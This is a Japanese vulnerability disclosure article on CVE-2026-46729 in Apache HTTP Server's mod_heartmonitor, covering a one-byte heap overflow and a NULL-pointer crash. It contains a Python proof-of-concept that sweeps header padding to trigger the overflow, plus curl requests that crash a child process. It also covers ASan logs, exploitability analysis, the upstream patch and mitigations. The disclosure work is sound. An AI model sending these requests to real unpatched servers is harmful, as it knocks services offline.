1バイトのはみ出し: Apache HTTP Server mod_heartmonitor におけるヒープバッファオーバーフロー
この記事では、Apache HTTP Server の mod_heartmonitor に存在した認証不要のヒープ境界外書き込み(CVE-2026-46729)について解説します。
端的に言うと、SetHandler heartbeat が設定されたエンドポイントへ HTTP POST リクエストを送信できるクライアントであれば、1,000 バイトのヒープ領域の直後へ確実に 1 バイトの NUL 文字をはみ出させて書き込ませることができる、という脆弱性です。ハンドラはリクエストボディ用にちょうど MAX_MSG_LEN バイトを確保し、入力バケットから最大 MAX_MSG_LEN バイトを読み込んだ後、無条件に buf[len] へ終端 NUL を書き込みます。ボディが 1,000 バイト以上のとき len == 1000 となり、buf[1000] —— すなわち確保領域の1バイト外側への書き込みが発生します。
この脆弱性と報告の経緯には、興味深い点がいくつもあります:
- 本番稼働 16 年の残存: 問題の行は 2009 年 7 月、コミット
84c7d1c676fで追加されました。2012 年 2 月リリースの 2.4.0 から最新の 2.4.68 に至るまで、すべての安定版タグ(約 69 リリース)および開発版 trunk に変更されることなく存在し続けていました。 - プロトコル間の非対称性:
mod_heartmonitorはマルチキャスト UDP と HTTP POST という 2 系統の受信経路を持ちます。UDP 受信側はchar buf[MAX_MSG_LEN + 1]と終端文字用に +1 バイトを正しく確保していたのに対し、HTTP 側はMAX_MSG_LENちょうどしか確保しないまま同じ終端処理を流用していました。 - glibc における構造的不活性: 「未認証のリモートヒープオーバーフロー」と聞くと即座に RCE(リモートコード実行)を想起しがちですが、実機におけるヒープ配置と glibc の内部構造を厳密にモデリングした結果、破壊されたメタデータは
free()の際に参照される前に正規のサイズで上書きされることが判明しました。適切なグルーミングを伴わない限り、通常の glibc 環境では事実上スリープ状態のまま無害化されます。 - 同一関数内に潜んでいた兄弟ゼロデイ: 同じハンドラのクエリ文字列解析処理には、パラメータの NULL チェック漏れによるクラッシュ脆弱性(
atoi(apr_table_get(tbl, "busy")))が存在し、不正な POST リクエスト 1 発で Apache の子プロセスをSIGSEGVで落とすことが可能でした。
背景: ロードバランシングとハートビート収集
エンタープライズの可用性設計において、リバースプロキシはバックエンドクラスタの稼働状況や処理負荷をリアルタイムに把握してルーティングを行う必要があります。Apache HTTP Server では、この機構を mod_proxy_balancer、mod_heartmonitor、mod_lbmethod_heartbeat の連携によって実現しています。
各バックエンドサーバは mod_heartbeat を通じて、自身のビジースロット数や余力状況を含む「ハートビート」を定期的に発信します。リバースプロキシ側の mod_heartmonitor はこれらのメッセージを受信・集約し、共有メモリ(slotmem_shm)に格納します。
メッセージの受信経路として、以下の 2 つが用意されています:
- マルチキャスト UDP:
HeartbeatAddressディレクティブで設定。クラスタ専用ネットワーク内で同報される UDP パケットをバックグラウンドスレッドで待ち受けます。 - HTTP POST ハンドラ:
<Location>ブロックでSetHandler heartbeatを指定して有効化。バックエンドノードから通常の HTTP POST 経由でハートビートを受け付けます:
<Location "/hb">
SetHandler heartbeat
</Location>
mod_heartmonitor は標準インストール状態では無効ですが、クラスタ構成(Red Hat JBoss EWS や mod_cluster 配備環境など)では広く利用されています。この HTTP エンドポイントはモジュール自体による認証ハンドシェイクを持たず、到達可能なクライアントからのリクエストをそのまま受け入れます。
脆弱性の構造: 片方だけ忘れられた +1
ハートビートメッセージの上限長は、modules/cluster/mod_heartmonitor.c でマクロ定義されています:
#define MAX_MSG_LEN (1000)
HTTP ハンドラである hm_handler(Apache 2.4.68 では 772 行目付近)は APR_HOOK_FIRST 優先度で登録されており、リクエスト受信時に以下の処理を実行します:
static int hm_handler(request_rec *r)
{
apr_size_t len = MAX_MSG_LEN;
apr_status_t status;
apr_bucket_brigade *input_brigade;
char *buf;
...
if (r->method_number != M_POST) {
return HTTP_METHOD_NOT_ALLOWED;
}
len = MAX_MSG_LEN;
ctx = ap_get_module_config(r->server->module_config,
&heartmonitor_module);
buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
input_brigade = apr_brigade_create(r->connection->pool,
r->connection->bucket_alloc);
status = ap_get_brigade(r->input_filters, input_brigade,
AP_MODE_READBYTES, APR_BLOCK_READ,
MAX_MSG_LEN);
if (status != APR_SUCCESS) {
return ap_map_http_request_error(status, HTTP_BAD_REQUEST);
}
apr_brigade_flatten(input_brigade, buf, &len);
/* we can't use hm_processmsg because it uses hm_get_server() */
buf[len] = '\0';
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
...
このコードには、バッファ確保とバケット展開の間に明確な計算ミスが存在します:
apr_pcalloc(r->pool, 1000)で、リクエストプール上にちょうど 1,000 バイトの領域を確保します。ap_get_brigadeにより、入力フィルタから最大MAX_MSG_LEN(1,000 バイト)を読み込みます。apr_brigade_flatten(input_brigade, buf, &len)が実行されます。APR の実装(apr_brigade.c:243)において*lenは受信用バッファの容量上限として機能します。POST ボディが 1,000 バイト以上ある場合、きっちり 1,000 バイトがコピーされ、lenには1000が代入されます。- 直後に
buf[len] = '\0'が実行されます。1,000 バイト確保(有効インデックス0..999)に対してbuf[1000]へ書き込みを行うため、バッファ終端から 1 バイトはみ出した NUL 書き込みが発生します。
兄弟関数である UDP 受信ループ(hm_recv)と対比すると、この欠落がなぜ生じたかがよく分かります:
static void * APR_THREAD_FUNC hm_recv(apr_thread_t *thd, void *rec)
{
char buf[MAX_MSG_LEN + 1]; /* UDP 側: 終端文字用に +1 バイトを確保 */
apr_size_t len = MAX_MSG_LEN;
...
apr_socket_recvfrom(..., buf, &len);
buf[len] = '\0';
...
UDP 側では最初から MAX_MSG_LEN + 1 と宣言されていました。2009 年 7 月のコミット 84c7d1c676f で HTTP ハンドラが追加された際、作者は buf[len] = '\0' のイディオムをコピーしながら、apr_pcalloc の引数には MAX_MSG_LEN をそのまま渡してしまいました。この 1 バイトの確保漏れが、その後 16 年間にわたって全バージョンに潜み続けることになります。
+-------------------------------------------------------------+---+
| buf: apr_pcalloc(r->pool, 1000) |???|
| [0] [999] | |
+-------------------------------------------------------------+---+
|
buf[len] = '\0' (len == 1000) ------------------------------+
(1バイトの境界外 NUL 書き込み)
検証: リクエストプール・風水による確定配置
動的な検証を行うため、Clang 18 を用いて AddressSanitizer (ASan)、UndefinedBehaviorSanitizer (UBSan)、および APR プールデバッグフラグ(-DAPR_POOL_DEBUG=1)を付与した Apache 2.4.68 をビルドしました。
Apache では、apr_pcalloc(r->pool, size) の呼び出しごとに OS の malloc() が直接走るわけではありません。APR は内部で 8,192 バイト等の大きなメモリーブロック(apr_memnode_t)を確保し、その内部をバンプポインタで切り出して各プール要求に充当します。
buf は r->pool から切り出されるため、リクエスト受信時に先行して r->pool へ確保されたデータ(クライアントが送信した各種 HTTP ヘッダなど)がバンプポインタを前進させます。
これを利用すると、精密なヒープ配置の調整(Pool Feng Shui)が可能になります。リクエストに任意のパディングヘッダ(例: X-Pad: AAAA...)を付与し長さを掃引することで、buf の開始位置を少しずつずらし、現在の 8KB アロケータノードの残余容量がちょうど 1,000 バイトになる状態を作り出せます。このとき、buf[1000] の書き込みは 8,192 バイトのノード境界を正確に跨ぎ、隣接する OS アロケーション領域へと到達します。
再現スクリプトによるテスト:
import socket
target = ("127.0.0.1", 35051)
# X-Pad パディングを 0 から 8168 まで 8 バイト刻みで掃引
for pad_len in range(0, 8192, 8):
s = socket.create_connection(target)
body = b"v=1&busy=1&ready=1&" + b"A" * 1000
req = (
b"POST /hb HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"X-Pad: " + (b"A" * pad_len) + b"\r\n"
b"\r\n"
+ body
)
s.sendall(req)
resp = s.recv(1024)
s.close()
ノード境界と書き込み位置が合致した瞬間、AddressSanitizer が確定的クラッシュを捕捉します:
=================================================================
==3802065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5250001e4900
WRITE of size 1 at 0x5250001e4900 thread T32
#0 0x7fb142e3d37e in hm_handler modules/cluster/mod_heartmonitor.c:772
#1 0x57a5a4 in ap_run_handler server/config.c:169
#2 0x57d27c in ap_invoke_handler server/config.c:443
#3 0x61b1c0 in ap_process_async_request modules/http/http_request.c:452
#4 0x606bd9 in ap_process_http_async_connection modules/http/http_core.c:155
#5 0x6076cc in ap_process_http_connection modules/http/http_core.c:246
#6 0x5c32b4 in ap_run_process_connection server/connection.c:42
#7 0x6701e1 in process_socket server/mpm/event/event.c:1098
#8 0x67f4a6 in worker_thread server/mpm/event/event.c:2252
0x5250001e4900 is located 0 bytes after 8192-byte region [0x5250001e2900,0x5250001e4900)
allocated by thread T28 here:
#0 0x7fb1490fc667 in malloc (/lib64/libasan.so.8+0xfc667)
#1 0x7fb148e4de8f in allocator_alloc (libapr-1.so.0)
#2 0x7fb148b5eea4 in apr_bucket_alloc buckets/apr_buckets_alloc.c:198
#3 0x7fb148b68450 in socket_bucket_read buckets/apr_buckets_socket.c:34
これにより、認証不要のリモート入力から到達可能で、ヘッダ長の調整によって境界位置を制御できるヒープ境界外書き込みであることが動的に実証されました。
悪用可能性の分析: ペーパータイガーを超えて
脆弱性診断において「未認証ヒープオーバーフロー」という言葉だけが独り歩きすることは少なくありません。しかし、技術的誠実さを持って実用性を評価するならば、このプリミティブが実環境において本当に任意のコード実行へ昇格できるのかを冷静に検証する必要があります。
1. プリミティブの制約
- 書き込みサイズの固定:
apr_brigade_flattenは容量として渡された*lenを厳格に遵守します(apr_brigade.c:243)。どれほど大きなボディを送っても、どのような入力フィルタを挟んでも、バッファ外に書き込まれるのは常にちょうど 1 バイトです。 - 書き込み値の固定: 書き込まれる値は無条件に
0x00(NUL)です。 - 制御可能な要素: 発火のタイミング、およびヘッダ長調整による 8KB ノード境界とのアライメント関係。
2. glibc における構造的不活性
標準的な Linux 配備(RHEL, Debian, Ubuntu など)では、Apache は glibc の ptmalloc3 アロケータ上で動作します。8,192 バイトの apr_memnode_t が確保されると、隣接領域には標準的な glibc チャンクヘッダが存在します:
+---------------------------------------+
| チャンク A(8192 バイト APR memnode) |
| ... データ ... |
+---------------------------------------+ <-- ノード境界
| チャンク B: prev_size(8 バイト) | <-- buf[1000] は byte0 に直撃
| チャンク B: size | flags(8 バイト) |
| チャンク B: ユーザーデータ ... |
+---------------------------------------+
buf[1000] がチャンク境界を越えると、チャンク B の prev_size フィールドの最下位バイトをゼロクリアします。古典的なヒープ Exploit 手法では、prev_size の改ざんは free() 時の後方結合(consolidation)を誘発し、チャンクの重ね合わせによる任意アドレス書き込みへと展開されます。
しかし、Apache の内部挙動と glibc の保護機構を精査した結果、この経路は構造的に機能しないことが判明しました:
- 先行チャンク解放時の上書き: glibc において
prev_sizeが参照されるのは、先行するチャンクが解放済みである(チャンク B のPREV_INUSEビットが 0 である)場合のみです。しかし、先行するチャンク A がfree(ChunkA)される際、glibc の_int_free()は後方結合判定の直前にChunkB->prev_size = ChunkA->sizeを実行します。つまり、私たちが破壊した 1 バイトは、それが評価される条件が整うまさにその瞬間に、正規のチャンクサイズによって上書きされて消滅します。 - APR ノードのリサイクル: Apache のメモリアロケータは、解放されたノードを OS の
free()に戻さず、内部のフリーリスト(デフォルト 2MB 上限)に保持して再利用します。したがって、通常運用中に隣接チャンク同士の結合処理が走る機会自体が極めて限られています。
この理論を実証するため、サニタイザを含まない素の Apache 2.4.68 本番バイナリに対して、全オフセットを網羅する 2,000 リクエストの連続送信テストを実施しました。glibc のデバッグ機能(MALLOC_CHECK_=3、MALLOC_PERTURB_=0xaa)を有効化した状態でも、2,000 件すべてが 200 OK で正常完了し、プロセスの異常終了やアロケータ警告は一切発生しませんでした。素の glibc 上では、この 1 バイト NUL 書き込みは完全に無症状でスリープします。
3. 代替アロケータ(jemalloc, tcmalloc)での挙動
高性能リバースプロキシ環境などでは、LD_PRELOAD 経由で jemalloc や tcmalloc を適用するケースがあります。これら近代的なアロケータはインラインのチャンクヘッダを持たず、同サイズクラスのオブジェクトをメモリ上に隙間なく連続配置します。
jemalloc 環境では、ノード境界を跨いだ書き込みは**隣接する使用中オブジェクトの先頭バイト(byte 0)**に直撃します。もし隣接オブジェクトがポインタ(フリーリストの next ポインタや関数ポインタなど)から始まっていれば、最下位バイトのゼロ化によって参照先を最大 255 バイトずらすことが可能です。これは理論上は強力な破壊プリミティブですが、有効に悪用するにはスレッドを跨いだ高精度なヒープグルーミングが不可欠です。jemalloc 下で行った 2,000 リクエストのテストでもプロセスの挙動に異常は見られず、偶然の連鎖で侵害が成立する可能性は極めて低いと言えます。
4. サービス拒否(DoS)への到達
任意コード実行には高いハードルがある一方、特定の運用環境においてプロセスを停止させる DoS 攻撃としては現実的に機能します:
- デバッグ・堅牢化ビルド:
-DAPR_POOL_DEBUGや ASan が有効な環境では、境界にヒットした最初のリクエストで即座にプロセスが abort します。 - スレッドアリーナのセグメント端:
eventMPM のワーカースレッドは、mmap()で確保された専用ヒープ領域内で動作します。アロケータノードがこの mmap セグメントの末尾に配置された場合、1 バイトのはみ出しが未マップページへの書き込みとなり、SIGSEGVを引き起こします。ただしこの配置はヒープのエントロピーに依存するため、確率的な発生にとどまります。
5. CVSS による深刻度評価
以上の技術的検証に基づき、本脆弱性のベーススコアを CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5 High) と自己評価しました。攻撃は認証不要でネットワーク経由で到達し、ユーザーの介在を必要としません。子プロセスの異常終了は処理中の接続すべての切断を招くため、可用性への影響度は High となります。一方で、コード実行や情報漏洩の実証には至っていないため、機密性と完全性への影響度は None と判定するのが誠実な評価です。
同じ関数に潜んでいたもう一つのバグ: atoi(NULL) による未認証リモートクラッシュ
ハンドラ内のパラメータ解析処理を追跡していた際、同一関数内にもう一つの直接的な DoS 脆弱性が潜んでいることに気づきました。バッファ展開の直後、hm_handler はクエリ文字列をテーブルに展開してサーバ情報を読み出します:
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
apr_sockaddr_ip_get(&ip, r->connection->client_addr);
hmserver.ip = ip;
hmserver.port = 80;
if (apr_table_get(tbl, "port") != NULL)
hmserver.port = atoi(apr_table_get(tbl, "port"));
hmserver.busy = atoi(apr_table_get(tbl, "busy"));
hmserver.ready = atoi(apr_table_get(tbl, "ready"));
hmserver.seen = apr_time_now();
hm_update_stat(ctx, &hmserver, r->pool);
port パラメータの扱いを見てください。apr_table_get(tbl, "port") != NULL を事前に確認してから atoi() を呼んでいます。しかし、続く 2 行にはそのガードがありません:
hmserver.busy = atoi(apr_table_get(tbl, "busy"));
hmserver.ready = atoi(apr_table_get(tbl, "ready"));
POST リクエストのボディに busy や ready というパラメータが含まれていない場合(例えば POST /hb に v=1&x=1 を送るか、空のボディを送信した場合)、apr_table_get() は NULL を返します。C 言語の標準ライブラリ関数 atoi() に NULL ポインタを渡すと、アドレス 0x0 の参照が発生し、プロセスは即座に SIGSEGV でクラッシュします。
素の Apache 2.4.68 サーバに対してテストを行いました:
# 正しいハートビート POST は 200 OK
curl -X POST http://127.0.0.1:45678/hb -d "v=1&busy=1&ready=1"
# レスポンス: HTTP/1.1 200 OK
# busy/ready を欠いた不正なリクエスト
curl -X POST http://127.0.0.1:45678/hb -d "v=1&x=1"
# レスポンス: curl: (52) Empty reply from server
Apache のエラーログには、即座にセグメンテーション違反が記録されます:
[Sat Oct 03 10:13:35.395829 2026] [core:notice] [pid 2378376:tid 2378376] AH00051: child pid 2378378 exit signal Segmentation fault (11), possible coredump in /tmp/httpd-vanilla-install
標準の event MPM において子プロセスが落ちると、そのプロセスが担当していたすべての Keep-Alive 接続が強制切断されます。認証なしで単発の HTTP パケットを送るだけで確実に子プロセスを落とせるため、実用的な DoS 攻撃の脅威としては前述のヒープ境界外書き込み以上に直接的です。
この NULL デリファレンス問題は 2026 年 7 月に別途 Apache セキュリティチームへ報告されており、同じく CVE-2026-46729 の識別子の下で追跡されていました。
上流修正の解説: 5 つの多層防御
、Apache HTTP Server コミッターの Eric Covener 氏により、開発版 trunk(リビジョン r1938653、コミット 1f5b504654)および 2.4.x ブランチ(リビジョン r1938654、コミット 7b12a7936e)に対して修正がコミットされました。
このコミットは、ヒープ境界外書き込みとパラメータ欠落クラッシュの双方を一括して解消しています:
--- a/modules/cluster/mod_heartmonitor.c
+++ b/modules/cluster/mod_heartmonitor.c
@@ -756,11 +759,27 @@ static int hm_handler(request_rec *r)
return HTTP_METHOD_NOT_ALLOWED;
}
- len = MAX_MSG_LEN;
ctx = ap_get_module_config(r->server->module_config,
&heartmonitor_module);
- buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
+ /* Check if module is active */
+ if (!ctx || !ctx->active) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10561)
+ "Heartbeat monitoring not active");
+ return HTTP_SERVICE_UNAVAILABLE;
+ }
+
+ /* Validate Content-Length before reading */
+ if (r->remaining > MAX_MSG_LEN) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10562)
+ "Heartbeat message too large: %" APR_OFF_T_FMT " bytes (max %d)",
+ r->remaining, MAX_MSG_LEN);
+ return HTTP_REQUEST_ENTITY_TOO_LARGE;
+ }
+
len = MAX_MSG_LEN;
+ /* Allocate buffer with space for null terminator */
+ buf = apr_pcalloc(r->pool, MAX_MSG_LEN + 1);
input_brigade = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
status = ap_get_brigade(r->input_filters, input_brigade, AP_MODE_READBYTES, APR_BLOCK_READ, MAX_MSG_LEN);
if (status != APR_SUCCESS) {
@@ -772,13 +791,49 @@ static int hm_handler(request_rec *r)
buf[len] = '\0';
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
+
+ /* Validate required parameters - prevent NULL pointer dereference */
+ if (apr_table_get(tbl, "busy") == NULL ||
+ apr_table_get(tbl, "ready") == NULL) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10563)
+ "Missing required parameters: busy and/or ready");
+ return HTTP_BAD_REQUEST;
+ }
+
apr_sockaddr_ip_get(&ip, r->connection->client_addr);
hmserver.ip = ip;
hmserver.port = 80;
- if (apr_table_get(tbl, "port") != NULL)
- hmserver.port = atoi(apr_table_get(tbl, "port"));
- hmserver.busy = atoi(apr_table_get(tbl, "busy"));
- hmserver.ready = atoi(apr_table_get(tbl, "ready"));
+
+ /* Validate and parse port with proper bounds checking */
+ val = apr_table_get(tbl, "port");
+ if (val != NULL) {
+ port_long = strtol(val, &endptr, 10);
+ if (*endptr == '\0' && port_long > 0 && port_long <= 65535) {
+ hmserver.port = (unsigned int)port_long;
+ }
+ else {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10564)
+ "Invalid port value: %s, using default 80", val);
+ }
+ }
+
+ /* Parse busy and ready with validation */
+ val = apr_table_get(tbl, "busy");
+ hmserver.busy = (int)strtol(val, &endptr, 10);
+ if (*endptr != '\0') {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10565)
+ "Invalid busy value: %s, using 0", val);
+ hmserver.busy = 0;
+ }
+
+ val = apr_table_get(tbl, "ready");
+ hmserver.ready = (int)strtol(val, &endptr, 10);
+ if (*endptr != '\0') {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10566)
+ "Invalid ready value: %s, using 0", val);
+ hmserver.ready = 0;
+ }
+
hmserver.seen = apr_time_now();
hm_update_stat(ctx, &hmserver, r->pool);
このパッチは、単なるバッファ長の修正にとどまらず、手厚い多層防御を施しています:
- バッファ長の拡張:
apr_pcalloc(r->pool, MAX_MSG_LEN + 1)により終端 NUL 用の 1,001 バイト目を確保し、OOB 書き込みを根本解消。 - 事前長チェック: バケットを読む前に
r->remainingを確認し、宣言サイズがMAX_MSG_LENを超える場合は413 Payload Too Largeで即時拒否。 - モジュール稼働状態の確認:
!ctx || !ctx->activeの場合に503 Service Unavailableを返却。 - NULL ポインタのガード:
busyとreadyの存在を事前に確認し、欠落している場合は400 Bad Requestを返却してatoi(NULL)クラッシュを防止。 - 厳格な整数パース:
atoi()からstrtol()へ移行し、ポート番号の範囲検証(1..65535)や不正な文字の混入を検知。
報告の経緯と 3 時間差のドラマ
11:33 UTC、私は技術レポート、再現スクリプト(trig_hb_oob.py)、および AddressSanitizer の完全なログを添付して security@apache.org へ報告メールを送信しました。
ASF セキュリティチームの Piotr P. Karwasz 氏は、これを HTTP Server 専用のアドレスである security@httpd.apache.org へ転送する際、次のようなメモを添えていました:
"The report arrived a couple of hours after a public patch was committed to the repo. Normally we would reject all reports that arrived after the issue was already publicly fixed, but in this case the margin is very small, so we prefer to leave the credit decision to you."
そして同日、Apache HTTP Server コミッターの Eric Covener 氏から以下の返信をいただきました:
"Thanks for your report. CVE-2026-46729 had been previously allocated for this issue and a change has been committed around the time of your email. We have added you as an additional finder/reporter."
上流のコミット(trunk r1938653、2.4.x r1938654)が Git ミラーに公開されたのは同日 08:20 UTC であり、私の報告のわずか 3 時間 13 分前でした。先行して 2026 年 8 月 12 日に別のリサーチャーが同一の境界外書き込み(リクエストスマグリングの観点)を報告しており、その修正が行われた直後の到着でした。数時間差という僅差であり、完全に独立した発見であったことを踏まえ、httpd PMC は私を追加発見者(additional finder / reporter)としてクレジットに加えてくださいました。
影響を受けるバージョンと対策
本脆弱性は、Apache HTTP Server 2.4.0 から 2.4.68 までの全バージョン、およびコミット 1f5b504654 より前の trunk に存在します。旧来の 2.2 系には本モジュールは存在しません。
運用環境における推奨対策は以下の通りです:
- アップデート: Apache HTTP Server 2.4.69 へ更新するか、リビジョン
r1938654をバックポートしてください。 - 設定の見直し: 設定ファイル内に
SetHandler heartbeatが存在するか確認し、HTTP 経由のハートビート収集が不要であればディレクティブを削除してください。 - アクセス制御: HTTP 経由の収集が必須である場合は、該当の
<Location>ブロックにRequire ip <信頼できるネットワーク>を設定し、外部からのアクセスを遮断してください。
タイムライン
| 日付 | 出来事 |
|---|---|
コミット 84c7d1c676f により HTTP ハートビートハンドラが追加される(+1 バッファ欠落を含む) | |
| Apache 2.4.0 リリース(脆弱なコードが含まれる最初の安定版) | |
| 同一ハンドラの NULL ポインタ参照に関する先行報告(CVE-2026-46729) | |
mod_heartmonitor の OOB 書き込みに関する先行の独立報告 | |
| Apache 2.4.68 監査中に本脆弱性を独立発見 | |
上流修正が trunk(r1938653)および 2.4.x(r1938654)にコミットされる | |
技術レポート、PoC、ASan ログを security@apache.org へ報告 | |
| Apache HTTP Server PMC より回答、Keita Sode を追加発見者としてクレジット | |
| 本解説記事を公開 |
報告者: Keita Sode(SYZD Research)。迅速な対応と温かい追加クレジットをいただいた Eric Covener 氏、Piotr P. Karwasz 氏、ならびに Apache HTTP Server セキュリティチームの皆様に心より感謝申し上げます。なお、すべての実証実験はローカルで隔離されたプライベート検証環境において実施されています。